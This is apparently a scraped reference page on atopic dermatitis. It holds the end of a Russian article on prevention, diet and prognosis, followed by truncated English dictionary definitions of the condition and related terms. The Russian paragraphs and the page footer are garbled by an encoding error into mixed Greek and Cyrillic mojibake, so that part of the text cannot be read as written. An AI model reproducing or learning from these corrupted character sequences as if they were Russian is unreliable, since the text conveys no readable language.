      • Вторичная ΠΏΡ€ΠΎΡ„ΠΈΠ»Π°ΠΊΡ‚ΠΈΠΊΠ° основываСтся Π½Π° ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠΈ манифСстации заболСвания ΠΈ/ΠΈΠ»ΠΈ Π΅Π³ΠΎ обострСний Ρƒ сСнсибилизированного Ρ€Π΅Π±Ρ‘Π½ΠΊΠ°. Π§Π΅ΠΌ Π²Ρ‹ΡˆΠ΅ риск Π°Ρ‚ΠΎΠΏΠΈΠΈ Ρƒ Ρ€Π΅Π±Ρ‘Π½ΠΊΠ°, Ρ‚Π΅ΠΌ Π±ΠΎΠ»Π΅Π΅ Тёсткими Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ элиминационныС ΠΌΠ΅Ρ€Ρ‹.
      • ΠŸΡ€ΠΎΡ„ΠΈΠ»Π°ΠΊΡ‚ΠΈΠΊΠ° АтД состоит Ρ‚Π°ΠΊΠΆΠ΅ Π² Π°Π΄Π΅ΠΊΠ²Π°Ρ‚Π½ΠΎΠΌ Π»Π΅Ρ‡Π΅Π½ΠΈΠΈ Π΄Π΅Ρ‚Π΅ΠΉ с Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ проявлСниями заболСвания.

      Π”ΠΈΠ΅Ρ‚Π°

      Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ аллСргичСскиС (химичСскиС) Ρ‚Ρ€ΠΈΠ³Π³Π΅Ρ€Ρ‹. Π”ΠΈΠ΅Ρ‚Π° относится ΠΊΠ°ΠΊ ΠΊ дСтям, Ρ‚Π°ΠΊ ΠΈ ΠΊ Π±Π΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ ΠΈ кормящим ΠΆΠ΅Π½Ρ‰ΠΈΠ½Π°ΠΌ.

      ΠŸΡ€ΠΎΠ³Π½ΠΎΠ·

      АтопичСский Π΄Π΅Ρ€ΠΌΠ°Ρ‚ΠΈΡ‚ ΠΈΠΌΠ΅Π΅Ρ‚ Π²ΠΎΠ»Π½ΠΎΠΎΠ±Ρ€Π°Π·Π½ΠΎΠ΅ Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅: Ρƒ 60 % Π΄Π΅Ρ‚Π΅ΠΉ симптомы со Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΈΡΡ‡Π΅Π·Π°ΡŽΡ‚, Π° Ρƒ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ΡΡ ΠΈΠ»ΠΈ Ρ€Π΅Ρ†ΠΈΠ΄ΠΈΠ²ΠΈΡ€ΡƒΡŽΡ‚ Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ всСй ΠΆΠΈΠ·Π½ΠΈ. Π§Π΅ΠΌ Ρ€Π°Π½ΡŒΡˆΠ΅ Π΄Π΅Π±ΡŽΡ‚ ΠΈ Ρ‡Π΅ΠΌ тяТСлСС ΠΏΡ€ΠΎΡ‚Π΅ΠΊΠ°Π΅Ρ‚ Π·Π°Π±ΠΎΠ»Π΅Π²Π°Π½ΠΈΠ΅, Ρ‚Π΅ΠΌ Π²Ρ‹ΡˆΠ΅ шанс Π΅Π³ΠΎ ΠΏΠ΅Ρ€ΡΠΈΡΡ‚ΠΈΡ€ΡƒΡŽΡ‰Π΅Π³ΠΎ тСчСния, особСнно Π² случаях сочСтания с Π΄Ρ€ΡƒΠ³ΠΎΠΉ аллСргичСской ΠΏΠ°Ρ‚ΠΎΠ»ΠΎΠ³ΠΈΠ΅ΠΉ.

      atopic dermatitis β€” a common, chronic type of dermatitis, thought to be hereditary, sometimes associated with other allergic conditions such as allergic rhinitis, hay fever, or asthma. Severe pruritus leads to scratching, rubbing, and typical signs of eczema. In… … Medical dictionary

      atopic dermatitis β€” noun a severe form of dermatitis characterized by atopy β€’ Syn: ↑atopic eczema β€’ Hypernyms: ↑dermatitis … Useful english dictionary

      atopic dermatitis β€” noun An atopic, hereditary, and non contagious skin disease characterized by chronic inflammation of the skin. Syn: atopic eczema … Wiktionary

      atopic dermatitis β€” a type of dermatitis (q.v.). * * * … Universalium

      Dermatitis β€” >Wikipedia

      dermatitis β€” /derr meuh tuy tis/, n. Pathol. inflammation of the skin. [1875 80; DERMAT + ITIS] * * * or eczema Inflammation of the skin, usually itchy, with redness, swelling, and blistering. Causes and patterns vary. Contact dermatitis appears at the site… … Universalium

      Dermatitis, atopic β€” A skin disease characterized by areas of severe itching, redness, scaling, and loss of the surface of the skin (excoriation). When the eruption (rash) has been present for a prolonged time, chronic changes occur due to the constant scratching and … Medical dictionary

      atopic eczema β€” noun a severe form of dermatitis characterized by atopy β€’ Syn: ↑atopic dermatitis β€’ Hypernyms: ↑dermatitis … Useful english dictionary

      atopic β€” (ˈ)ā|tΓ€pik, (ˈ)a| , Ι™Λˆ , Δ“k adjective Etymology: in sense 1, from a (II) + Greek topos place + English ic; in sense 2, from atopy + ic more at topic 1. of an organ of the body : not in the … Useful english dictionary

      ΠŸΠΎΠ½Ρ€Π°Π²ΠΈΠ»Π°ΡΡŒ ΡΡ‚Π°Ρ‚ΡŒΡ? ΠŸΠΎΠ΄Π΅Π»ΠΈΡ‚ΡŒΡΡ с Π΄Ρ€ΡƒΠ·ΡŒΡΠΌΠΈ:
      Π”ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ